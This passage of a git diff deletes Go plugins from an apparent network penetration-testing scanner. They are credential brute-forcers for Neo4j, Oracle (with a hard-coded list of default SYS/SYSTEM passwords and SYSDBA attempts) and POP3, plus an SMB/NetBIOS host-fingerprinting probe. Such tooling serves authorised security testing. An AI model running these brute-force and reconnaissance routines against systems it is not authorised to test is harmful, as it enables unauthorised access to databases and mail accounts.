- if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Neo4j并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryNeo4jCredential 尝试单个Neo4j凭据 -func tryNeo4jCredential(ctx context.Context, info *common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &Neo4jScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接结果通道 - resultChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中尝试连接 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - go func() { - defer cancel() - success, err := Neo4jConn(info, credential.Username, credential.Password) - select { - case <-connCtx.Done(): - case resultChan <- struct { - success bool - err error - }{success, err}: - } - }() - - // 等待结果或超时 - var success bool - var err error - - select { - case result := <-resultChan: - success = result.success - err = result.err - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局超时 - return &Neo4jScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err = fmt.Errorf("连接超时") - } - - if success { - return &Neo4jScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &Neo4jScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// Neo4jConn 尝试Neo4j连接 -func Neo4jConn(info *common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - - // 构造Neo4j URL - uri := fmt.Sprintf("bolt://%s:%s", host, port) - - // 配置驱动选项 - config := func(c *neo4j.Config) { - c.SocketConnectTimeout = timeout - c.ConnectionAcquisitionTimeout = timeout - - // 注意:Neo4j驱动可能不支持代理配置 - // 如果需要代理支持,可能需要使用更底层的连接方式 - } - - var driver neo4j.Driver - var err error - - // 尝试建立连接 - if user != "" || pass != "" { - // 有认证信息时使用认证 - driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config) - } else { - // 无认证时使用NoAuth - driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config) - } - - if err != nil { - return false, err - } - defer driver.Close() - - // 测试连接有效性 - err = driver.VerifyConnectivity() - if err != nil { - return false, err - } - - // 尝试执行简单查询以确认权限 - session := driver.NewSession(neo4j.SessionConfig{AccessMode: neo4j.AccessModeRead}) - defer session.Close() - - _, err = session.Run("MATCH (n) RETURN count(n) LIMIT 1", nil) - if err != nil { - return false, err - } - - return true, nil -} - -// saveNeo4jResult 保存Neo4j扫描结果 -func saveNeo4jResult(info *common.HostInfo, target string, result *Neo4jScanResult) { - var successMsg string - var details map[string]interface{} - - if result.IsUnauth { - // 无认证访问 - successMsg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "neo4j", - "type": "unauthorized-access", - } - } else if result.IsDefaultCreds { - // 默认凭证 - successMsg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "neo4j", - "type": "default-credentials", - "username": result.Credential.Username, - "password": result.Credential.Password, - } - } else { - // 弱密码 - successMsg = fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "neo4j", - "type": "weak-password", - "username": result.Credential.Username, - "password": result.Credential.Password, - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go deleted file mode 100644 index 96a1553..0000000 --- a/Plugins/NetBIOS.go +++ /dev/null @@ -1,400 +0,0 @@ -package Plugins - -import ( - "bytes" - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "gopkg.in/yaml.v3" - "net" - "strconv" - "strings" - "time" -) - -var errNetBIOS = errors.New("netbios error") - -func NetBIOS(info *common.HostInfo) error { - netbios, _ := NetBIOS1(info) - output := netbios.String() - if len(output) > 0 { - result := fmt.Sprintf("NetBios %-15s %s", info.Host, output) - common.LogSuccess(result) - - // 保存结果 - details := map[string]interface{}{ - "port": info.Ports, - } - - // 添加有效的 NetBIOS 信息 - if netbios.ComputerName != "" { - details["computer_name"] = netbios.ComputerName - } - if netbios.DomainName != "" { - details["domain_name"] = netbios.DomainName - } - if netbios.NetDomainName != "" { - details["netbios_domain"] = netbios.NetDomainName - } - if netbios.NetComputerName != "" { - details["netbios_computer"] = netbios.NetComputerName - } - if netbios.WorkstationService != "" { - details["workstation_service"] = netbios.WorkstationService - } - if netbios.ServerService != "" { - details["server_service"] = netbios.ServerService - } - if netbios.DomainControllers != "" { - details["domain_controllers"] = netbios.DomainControllers - } - if netbios.OsVersion != "" { - details["os_version"] = netbios.OsVersion - } - - // NetBIOS信息已通过上面的LogSuccess记录,不需要额外保存结果 - return nil - } - return errNetBIOS -} - -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { - netbios, err = GetNbnsname(info) - var payload0 []byte - if netbios.ServerService != "" || netbios.WorkstationService != "" { - ss := netbios.ServerService - if ss == "" { - ss = netbios.WorkstationService - } - name := netbiosEncode(ss) - payload0 = append(payload0, []byte("\x81\x00\x00D ")...) - payload0 = append(payload0, name...) - payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) - } - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - var conn net.Conn - conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) - if err != nil { - return - } - defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - return - } - - if info.Ports == "139" && len(payload0) > 0 { - _, err1 := conn.Write(payload0) - if err1 != nil { - return - } - _, err1 = ReadBytes(conn) - if err1 != nil { - return - } - } - - _, err = conn.Write(NegotiateSMBv1Data1) - if err != nil { - return - } - _, err = ReadBytes(conn) - if err != nil { - return - } - - _, err = conn.Write(NegotiateSMBv1Data2) - if err != nil { - return - } - var ret []byte - ret, err = ReadBytes(conn) - if err != nil { - return - } - netbios2, err := ParseNTLM(ret) - JoinNetBios(&netbios, &netbios2) - return -} - -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { - senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} - //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") - realhost := fmt.Sprintf("%s:137", info.Host) - conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) - if err != nil { - return - } - defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) - if err != nil { - return - } - _, err = conn.Write(senddata1) - if err != nil { - return - } - text, _ := ReadBytes(conn) - netbios, err = ParseNetBios(text) - return -} - -func bytetoint(text byte) (int, error) { - num1 := fmt.Sprintf("%v", text) - num, err := strconv.Atoi(num1) - return num, err -} - -func netbiosEncode(name string) (output []byte) { - var names []int - src := fmt.Sprintf("%-16s", name) - for _, a := range src { - char_ord := int(a) - high_4_bits := char_ord >> 4 - low_4_bits := char_ord & 0x0f - names = append(names, high_4_bits, low_4_bits) - } - for _, one := range names { - out := (one + 0x41) - output = append(output, byte(out)) - } - return -} - -var ( - UNIQUE_NAMES = map[string]string{ - "\x00": "WorkstationService", - "\x03": "Messenger Service", - "\x06": "RAS Server Service", - "\x1F": "NetDDE Service", - "\x20": "ServerService", - "\x21": "RAS Client Service", - "\xBE": "Network Monitor Agent", - "\xBF": "Network Monitor Application", - "\x1D": "Master Browser", - "\x1B": "Domain Master Browser", - } - - GROUP_NAMES = map[string]string{ - "\x00": "DomainName", - "\x1C": "DomainControllers", - "\x1E": "Browser Service Elections", - } - - NetBIOS_ITEM_TYPE = map[string]string{ - "\x01\x00": "NetBiosComputerName", - "\x02\x00": "NetBiosDomainName", - "\x03\x00": "ComputerName", - "\x04\x00": "DomainName", - "\x05\x00": "DNS tree name", - "\x07\x00": "Time stamp", - } - NegotiateSMBv1Data1 = []byte{ - 0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, - 0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, - 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F, - 0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70, - 0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54, - 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00, - } - NegotiateSMBv1Data2 = []byte{ - 0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE, - 0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60, - 0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30, - 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04, - 0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, - 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, - 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00, - 0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00, - 0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00, - 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, - 0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, - } -) - -type NetBiosInfo struct { - GroupName string - WorkstationService string `yaml:"WorkstationService"` - ServerService string `yaml:"ServerService"` - DomainName string `yaml:"DomainName"` - DomainControllers string `yaml:"DomainControllers"` - ComputerName string `yaml:"ComputerName"` - OsVersion string `yaml:"OsVersion"` - NetDomainName string `yaml:"NetBiosDomainName"` - NetComputerName string `yaml:"NetBiosComputerName"` -} - -func (info *NetBiosInfo) String() (output string) { - var text string - //ComputerName 信息比较全 - if info.ComputerName != "" { - if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" { - text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName) - } else { - text = info.ComputerName - } - } else { - //组信息 - if info.DomainName != "" { - text += info.DomainName - text += "\\" - } else if info.NetDomainName != "" { - text += info.NetDomainName - text += "\\" - } - //机器名 - if info.ServerService != "" { - text += info.ServerService - } else if info.WorkstationService != "" { - text += info.WorkstationService - } else if info.NetComputerName != "" { - text += info.NetComputerName - } - } - if text == "" { - } else if info.DomainControllers != "" { - output = fmt.Sprintf("DC:%-24s", text) - } else { - output = fmt.Sprintf("%-30s", text) - } - if info.OsVersion != "" { - output += " " + info.OsVersion - } - return -} - -func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { - if len(input) < 57 { - err = errNetBIOS - return - } - data := input[57:] - var num int - num, err = bytetoint(input[56:57][0]) - if err != nil { - return - } - var msg string - for i := 0; i < num; i++ { - if len(data) < 18*i+16 { - break - } - name := string(data[18*i : 18*i+15]) - flag_bit := data[18*i+15 : 18*i+16] - if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name) - } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name) - } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { - name_flags := data[18*i+16 : 18*i+18][0] - if name_flags >= 128 { - msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name) - } else { - msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name) - } - } else { - msg += fmt.Sprintf("%s \n", name) - } - } - if len(msg) == 0 { - err = errNetBIOS - return - } - err = yaml.Unmarshal([]byte(msg), &netbios) - if netbios.DomainName != "" { - netbios.GroupName = netbios.DomainName - } - return -} - -func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { - if len(ret) < 47 { - err = errNetBIOS - return - } - var num1, num2 int - num1, err = bytetoint(ret[43:44][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[44:45][0]) - if err != nil { - return - } - length := num1 + num2*256 - if len(ret) < 48+length { - return - } - os_version := ret[47+length:] - tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) - tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) - ostext := string(tmp1[:len(tmp1)-1]) - ss := strings.Split(ostext, "|") - netbios.OsVersion = ss[0] - start := bytes.Index(ret, []byte("NTLMSSP")) - if len(ret) < start+45 { - return - } - num1, err = bytetoint(ret[start+40 : start+41][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[start+41 : start+42][0]) - if err != nil { - return - } - length = num1 + num2*256 - _, err = bytetoint(ret[start+44 : start+45][0]) - if err != nil { - return - } - offset, err := bytetoint(ret[start+44 : start+45][0]) - if err != nil || len(ret) < start+offset+length { - return - } - var msg string - index := start + offset - for index < start+offset+length { - item_type := ret[index : index+2] - num1, err = bytetoint(ret[index+2 : index+3][0]) - if err != nil { - continue - } - num2, err = bytetoint(ret[index+3 : index+4][0]) - if err != nil { - continue - } - item_length := num1 + num2*256 - item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) - index += 4 + item_length - if string(item_type) == "\x07\x00" { - //Time stamp, 不需要输出 - } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { - msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) - } else if string(item_type) == "\x00\x00" { - break - } - } - err = yaml.Unmarshal([]byte(msg), &netbios) - return -} - -func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo { - netbios1.ComputerName = netbios2.ComputerName - netbios1.NetDomainName = netbios2.NetDomainName - netbios1.NetComputerName = netbios2.NetComputerName - if netbios2.DomainName != "" { - netbios1.DomainName = netbios2.DomainName - } - netbios1.OsVersion = netbios2.OsVersion - return netbios1 -} diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go deleted file mode 100644 index 2266ab8..0000000 --- a/Plugins/Oracle.go +++ /dev/null @@ -1,436 +0,0 @@ -package Plugins - -import ( - "context" - "database/sql" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - _ "github.com/sijms/go-ora/v2" - "strings" - "sync" - "time" -) - -// OracleCredential 表示一个Oracle凭据 -type OracleCredential struct { - Username string - Password string -} - -// OracleScanResult 表示Oracle扫描结果 -type OracleScanResult struct { - Success bool - Error error - Credential OracleCredential - ServiceName string -} - -// 常见Oracle服务名列表 -var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"} - -func OracleScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建常见高危凭据列表(优先测试) - highRiskCredentials := []OracleCredential{ - {Username: "SYS", Password: "123456"}, - {Username: "SYSTEM", Password: "123456"}, - {Username: "SYS", Password: "oracle"}, - {Username: "SYSTEM", Password: "oracle"}, - {Username: "SYS", Password: "password"}, - {Username: "SYSTEM", Password: "password"}, - {Username: "SYS", Password: "sys123"}, - {Username: "SYS", Password: "change_on_install"}, - {Username: "SYSTEM", Password: "manager"}, - } - - // 先尝试常见高危凭据 - common.LogDebug("尝试常见高危凭据...") - for _, cred := range highRiskCredentials { - result := tryAllServiceNames(ctx, info, cred, common.Timeout, 1) - if result != nil && result.Success { - saveOracleResult(info, target, result.Credential, result.ServiceName) - return nil - } - } - - // 构建完整凭据列表 - var credentials []OracleCredential - for _, user := range common.Userdict["oracle"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - // 转换用户名为大写,提高匹配率 - credentials = append(credentials, OracleCredential{ - Username: strings.ToUpper(user), - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["oracle"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentOracleScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveOracleResult(info, target, result.Credential, result.ServiceName) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Oracle扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials))) - return nil - } -} - -// tryAllServiceNames 尝试所有常见服务名 -func tryAllServiceNames(ctx context.Context, info *common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult { - for _, serviceName := range commonServiceNames { - result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries) - if result.Success { - result.ServiceName = serviceName - return result - } - - // 对SYS用户尝试SYSDBA模式 - if strings.ToUpper(credential.Username) == "SYS" { - result = tryOracleSysCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries) - if result.Success { - result.ServiceName = serviceName - return result - } - } - } - return nil -} - -// concurrentOracleScan 并发扫描Oracle服务 -func concurrentOracleScan(ctx context.Context, info *common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *OracleScanResult, 1) - workChan := make(chan OracleCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - // 尝试所有常见服务名 - result := tryAllServiceNames(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result != nil && result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Oracle并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryOracleCredential 尝试单个Oracle凭据 -func tryOracleCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &OracleScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - - // 在协程中执行数据库连接 - resultChan := make(chan struct { - success bool - err error - }, 1) - - go func() { - success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, false) - select { - case <-connCtx.Done(): - // 已超时或取消,不发送结果 - case resultChan <- struct { - success bool - err error - }{success, err}: - } - }() - - // 等待结果或连接超时 - var success bool - var err error - - select { - case result := <-resultChan: - success = result.success - err = result.err - case <-connCtx.Done(): - err = connCtx.Err() - } - - // 取消连接超时上下文 - cancel() - - if success { - return &OracleScanResult{ - Success: true, - Credential: credential, - ServiceName: serviceName, - } - } - - lastErr = err - if err != nil { - // 如果是认证错误,不需要重试 - if strings.Contains(err.Error(), "ORA-01017") { - break // 认证失败 - } - - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &OracleScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接 -func tryOracleSysCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &OracleScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - - // 在协程中执行数据库连接 - resultChan := make(chan struct { - success bool - err error - }, 1) - - go func() { - success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, true) - select { - case <-connCtx.Done(): - // 已超时或取消,不发送结果 - case resultChan <- struct { - success bool - err error - }{success, err}: - } - }() - - // 等待结果或连接超时 - var success bool - var err error - - select { - case result := <-resultChan: - success = result.success - err = result.err - case <-connCtx.Done(): - err = connCtx.Err() - } - - // 取消连接超时上下文 - cancel() - - if success { - return &OracleScanResult{ - Success: true, - Credential: credential, - ServiceName: serviceName, - } - } - - lastErr = err - if err != nil { - // 如果是认证错误,不需要重试 - if strings.Contains(err.Error(), "ORA-01017") { - break // 认证失败 - } - - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &OracleScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// OracleConn 尝试Oracle连接 -func OracleConn(ctx context.Context, info *common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) { - host, port := info.Host, info.Ports - - // 构造连接字符串,添加更多参数 - connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d", - user, pass, host, port, serviceName, common.Timeout) - - // 对SYS用户使用SYSDBA权限 - if asSysdba { - connStr += "&sysdba=1" - } - - // 建立数据库连接 - db, err := sql.Open("oracle", connStr) - if err != nil { - return false, err - } - defer db.Close() - - // 设置连接参数 - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - db.SetMaxOpenConns(1) - - // 使用上下文测试连接 - pingCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second) - defer cancel() - - // 测试连接 - err = db.PingContext(pingCtx) - if err != nil { - return false, err - } - - // 不需要额外的查询验证,连接成功即可 - return true, nil -} - -// saveOracleResult 保存Oracle扫描结果 -func saveOracleResult(info *common.HostInfo, target string, credential OracleCredential, serviceName string) { - var successMsg string - if strings.ToUpper(credential.Username) == "SYS" { - successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)", - target, credential.Username, credential.Password, serviceName) - } else { - successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s", - target, credential.Username, credential.Password, serviceName) - } - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "oracle", - "username": credential.Username, - "password": credential.Password, - "service_name": serviceName, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/POP3.go b/Plugins/POP3.go deleted file mode 100644 index 9cf6cd0..0000000 --- a/Plugins/POP3.go +++ /dev/null @@ -1,414 +0,0 @@ -package Plugins - -import ( - "bufio" - "context" - "crypto/tls" - "fmt" - "net" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// POP3Credential 表示一个POP3凭据 -type POP3Credential struct { - Username string - Password string -} - -// POP3ScanResult 表示POP3扫描结果 -type POP3ScanResult struct { - Success bool - Error error - Credential POP3Credential - IsTLS bool -} - -func POP3Scan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []POP3Credential - for _, user := range common.Userdict["pop3"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, POP3Credential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["pop3"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描,但需要限制速率 - result := concurrentPOP3Scan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - savePOP3Result(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("POP3扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// 